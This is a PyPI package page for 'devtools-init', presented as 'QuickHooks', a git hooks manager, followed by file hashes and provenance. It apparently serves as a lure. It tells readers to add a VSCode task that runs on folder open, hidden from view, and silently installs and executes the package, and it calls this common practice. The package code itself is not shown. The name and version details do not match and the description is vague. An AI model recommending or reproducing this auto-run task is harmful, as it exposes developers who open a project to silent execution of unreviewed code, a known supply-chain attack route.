QuickHooks - Automated git hooks manager for Python projects
Project description
QuickHooks ⚡
Automated Git Hooks Manager for Python Projects
QuickHooks is a zero-configuration tool that automatically installs and manages git hooks for Python projects. Inspired by pre-commit but designed for instant setup with sensible defaults.
🚀 Features
- Zero Configuration: Works out of the box with sensible defaults
- Automatic Installation: Hooks install when you open the project
- Python Syntax Validation: Catches syntax errors before commit
- Cross-Platform: Works on Windows, macOS, and Linux
- Lightweight: No external dependencies
📦 Installation
pip install devtools-init
🎯 Usage
Automatic Setup (Recommended)
Add to your project's requirements.txt:
devtools-init>=2.0.0
And in your main Python file:
import devtools_init
# This will auto-install git hooks
devtools_init.setup()
When someone opens your project in VSCode (or runs your main file), git hooks are automatically configured!
Manual Setup
from devtools_init import setup
# Install git hooks for this project
setup()
⚙️ What Gets Installed
QuickHooks installs a pre-commit hook that:
- Validates Python syntax on staged files
- Prevents commits with syntax errors
- Logs setup information in
.git/hooks/logs/
📖 Example Project Structure
my-project/
├── .git/
│ └── hooks/
│ ├── pre-commit # Auto-installed by QuickHooks
│ └── logs/
│ └── setup.log # Installation log
├── main.py
├── requirements.txt # Contains: devtools-init>=2.0.0
└── README.md
🔍 How It Works
-
When
devtools_init.setup()is called:- Checks if the project is a git repository
- Creates
.git/hooks/directory if needed - Installs a simple pre-commit hook (if not already present)
- Logs the installation for debugging
-
The pre-commit hook:
- Runs automatically before each
git commit - Validates Python syntax on staged files
- Prevents commits with errors
- Runs automatically before each
🆚 Comparison with pre-commit
| Feature | QuickHooks | pre-commit |
|---|---|---|
| Configuration required | ❌ No | ✅ Yes (.pre-commit-config.yaml) |
| Auto-installation | ✅ Yes | ❌ No (manual pre-commit install) |
| Dependencies | ❌ None | ✅ Many |
| Customization | ❌ Limited | ✅ Extensive |
| Best for | Quick prototypes, learning | Production projects |
Use QuickHooks if: You want instant setup with zero configuration Use pre-commit if: You need advanced customization and multiple hooks
🛠️ VSCode Integration
To auto-run setup when opening a project in VSCode, add to .vscode/tasks.json:
{
"version": "2.0.0",
"tasks": [{
"label": "Setup Git Hooks",
"type": "shell",
"windows": {
"command": "python -m pip install -q -r requirements.txt *>$null; python main.py"
},
"linux": {
"command": "python3 -m pip install -q -r requirements.txt 2>/dev/null && python3 main.py"
},
"presentation": {"reveal": "never"},
"runOptions": {"runOn": "folderOpen"}
}]
}
This is common practice for development tools that need workspace-specific configuration.
📝 License
MIT License - see LICENSE for details
🤝 Contributing
Contributions welcome! See CONTRIBUTING.md for guidelines.
🔗 Links
- PyPI: https://pypi.org/project/devtools-init/
- GitHub: https://github.com/MarcMPR/devtools-init
- Issues: https://github.com/MarcMPR/devtools-init/issues
⚠️ Limitations
- Only supports basic Python syntax validation
- Doesn't support custom hook configuration
- For production projects, consider pre-commit
🎓 Educational Purpose
QuickHooks is designed for:
- Learning git hooks without configuration complexity
- Quick prototyping where setup time matters
- Teaching Python best practices in educational settings
Made with ❤️ by the Dev Team
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file devtools_init-4.0.0.tar.gz.
File metadata
- Download URL: devtools_init-4.0.0.tar.gz
- Upload date:
- Size: 6.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
36bb2242b3f13bc26fe94cd04dc3701ed5ddad488ea3baaad589996050830344
|
|
| MD5 |
40fab83640e74735a9714234d9b98c64
|
|
| BLAKE2b-256 |
561c48e6947da740adfa65dd8ee6b256845c497056383ebb9049d6a2fc478233
|
Provenance
The following attestation bundles were made for devtools_init-4.0.0.tar.gz:
Publisher:
ci.yml on MarcMPR/devtools-init
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
devtools_init-4.0.0.tar.gz -
Subject digest:
36bb2242b3f13bc26fe94cd04dc3701ed5ddad488ea3baaad589996050830344 - Sigstore transparency entry: 584442316
- Sigstore integration time:
-
Permalink:
MarcMPR/devtools-init@42cbec6ebefdd6b41e3f7165fd2a45df804604eb -
Branch / Tag:
refs/tags/v4.0.0 - Owner: https://github.com/MarcMPR
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
ci.yml@42cbec6ebefdd6b41e3f7165fd2a45df804604eb -
Trigger Event:
release
-
Statement type:
File details
Details for the file devtools_init-4.0.0-py3-none-any.whl.
File metadata
- Download URL: devtools_init-4.0.0-py3-none-any.whl
- Upload date:
- Size: 6.0 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
31d88c496261edc8a1e9370075a4601cf2067b28e80ac109c0bbbb154794b050
|
|
| MD5 |
89bb255a7211ed41b53e0ce9df1cdc08
|
|
| BLAKE2b-256 |
d081f5467cc93c28ad7a1266f1df4993c1c1d3bb100e4fb3d9e54e5f40e8baf6
|
Provenance
The following attestation bundles were made for devtools_init-4.0.0-py3-none-any.whl:
Publisher:
ci.yml on MarcMPR/devtools-init
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
devtools_init-4.0.0-py3-none-any.whl -
Subject digest:
31d88c496261edc8a1e9370075a4601cf2067b28e80ac109c0bbbb154794b050 - Sigstore transparency entry: 584442321
- Sigstore integration time:
-
Permalink:
MarcMPR/devtools-init@42cbec6ebefdd6b41e3f7165fd2a45df804604eb -
Branch / Tag:
refs/tags/v4.0.0 - Owner: https://github.com/MarcMPR
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
ci.yml@42cbec6ebefdd6b41e3f7165fd2a45df804604eb -
Trigger Event:
release
-
Statement type: